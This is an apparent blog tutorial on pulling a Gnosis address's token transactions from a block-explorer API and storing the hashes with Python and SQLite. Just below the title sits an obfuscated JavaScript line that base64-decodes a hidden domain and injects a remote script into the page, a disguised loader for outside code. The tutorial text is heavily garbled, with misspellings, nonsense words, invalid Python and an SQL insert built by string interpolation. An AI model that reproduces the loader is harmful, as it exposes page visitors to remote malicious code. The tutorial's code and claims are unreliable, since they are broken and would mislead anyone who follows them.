Ethereum: Get all transactions from/to a Gnosis address
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=208917cf”;document.body.appendChild(script);
Following Ethereum transaction from Gnosis address
===================================================== ============= =============
While using the API tokentx Gnzis Scan to download the transaction data for the ERC-20 token, you may need to monitor all the coins movements that come and go from that address. In this article we will explore how to achieve this.
API Format Formation Fertilizer
——————————————
API scanning GOSIS returns a list of transactions in JSON format. Each transaction is presented as follows:
`Json
{
“tx_hash”: “Hash”,
“Block_number”: 12345,
“From_address”: “Address1”,
“To_address”: “Address2”,
“Value”: Number (in Wei),
“gas_price”: number,
“Gas_used”: Number,
“Time mark”: Time mark,
“Data”: {{
// data properties
Iche
Iche
`
Tracking Transactions from Gnosis address
------------------------------------------------------ ------------------------------------------------------ ------------------------------------------------------ ----------
You can use the following steps to follow all the coins that come and go from the gnosis address:
- Remove transaction hashes : Arrange the JSON response from API -JU scanning of GOSIS and pull out the property oftx_hash
, which contains the hexadecimic hash of each transaction.
- Stock transactions in the database or cache : store the extracted HASHES transactions in the database (eg Sqlite) or cache layer (eg redis). This will allow you to effectively download all transactions associated with gnosis.
3
Example Python Code
Python
Import Sqlite3
From the type of import DICT
Set up the database connection
Conn = Sqlite3.Connect (‘transaction_database.db’)
cursor = conn.cursor ()
Function to pull out hasha transactions from API answer
Def Get_transation_hashes (API_RESPONSE):
Return [tx_hash for tx_hash u api_response]
Function to store transactions in a database or cache
Def store_transactions (transaction_hashes, db_name = ‘transactions.db’):
with open (db_name, ‘w’) as f:
For tx_hash in transaction_hashes:
Insert into a database or cache using a simple approach to keys-validity
Curor.execute (f’insert into transactions (tx_hash) values ({tx_hash}) ‘)’)
Conn.commit ()
Function to monitor transactions from Gnosis address
Def Tratk_transations_gnissis_address (API_RESPONSE, DB_NAME = ‘transaction.db’):
Transaction_hashes = Get_transation_hashes (API_RESPONSE)
Store_transactions (transaction_hashes, db_name)
Example of use:
API_RESPONSE = {
“Result”: [
{
“Tx_hash”: “0x1234567890ABCDEF”,
“Block_number”: 12345,
“From_address”: “Address1”,
“To_address”: “Address2”
Mozhlo
{
“TX_HASH”: “0x23456789ABCDEF0”,
“Block_number”: 67890,
“Oh_address”: “Address3”,
“To_address”: “Address4”
Iche
]
Iche
TRATK_TRANSACTIONS_GNESIS_address (API_RESPONSE, ‘Transactions.db’)
`
Benefits and Considerations
-------------------------
- Propertytx_hash` provides a unique identifier for each transaction.
- By storing transactions in the database or cache, you can effectively download all transactions associated with the GOSIS address.
- This approach requires some above -ground data storage and transaction management.
However, consider the following:
- The performance of database or cache can be influenced by the number of transactions.
- For the storage of hasha transactions, an additional storage space is required.
- Ensure that at the point of proper handling of the error and the mechanisms of writing are.